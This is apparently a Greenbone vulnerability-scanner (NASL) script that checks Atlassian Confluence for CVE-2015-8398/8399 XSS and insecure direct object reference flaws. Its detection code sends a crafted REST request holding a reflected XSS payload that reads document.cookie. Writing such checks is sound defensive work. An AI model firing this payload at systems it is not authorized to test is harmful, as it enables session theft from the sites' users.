Atlassian Confluence XSS and Insecure Direct Object Reference Vulnerabilities

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:atlassian:confluence";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.806815");
  script_version("2023-07-20T05:05:17+0000");
  script_cve_id("CVE-2015-8398", "CVE-2015-8399");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-10-09 19:58:00 +0000 (Tue, 09 Oct 2018)");
  script_tag(name:"creation_date", value:"2016-01-08 16:21:20 +0530 (Fri, 08 Jan 2016)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("Atlassian Confluence XSS and Insecure Direct Object Reference Vulnerabilities");

  script_tag(name:"summary", value:"Atlassian Confluence is prone to cross site scripting and insecure direct object reference vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Multiple flaws are due to

  - An improper sanitization of user supplied input via different parameters
  in the REST API.

  - An Insecure Direct Object Reference via parameter 'decoratorName'.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary script code in a user's browser session
  and to read configuration files from the application.");

  script_tag(name:"affected", value:"Confluence versions 5.9.1, 5.8.14
  5.8.15, 5.2.");

  script_tag(name:"solution", value:"Upgrade to Confluence version 5.8.17 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39170/");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2016/Jan/5");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/135130/confluence-xssdisclose.txt");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_atlassian_confluence_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("atlassian/confluence/http/detected");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E';

if(http_vuln_check(port:port, url:url, pattern:"alert\(document.cookie\)", check_header:TRUE,
                   extra_check:"Expected user")) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);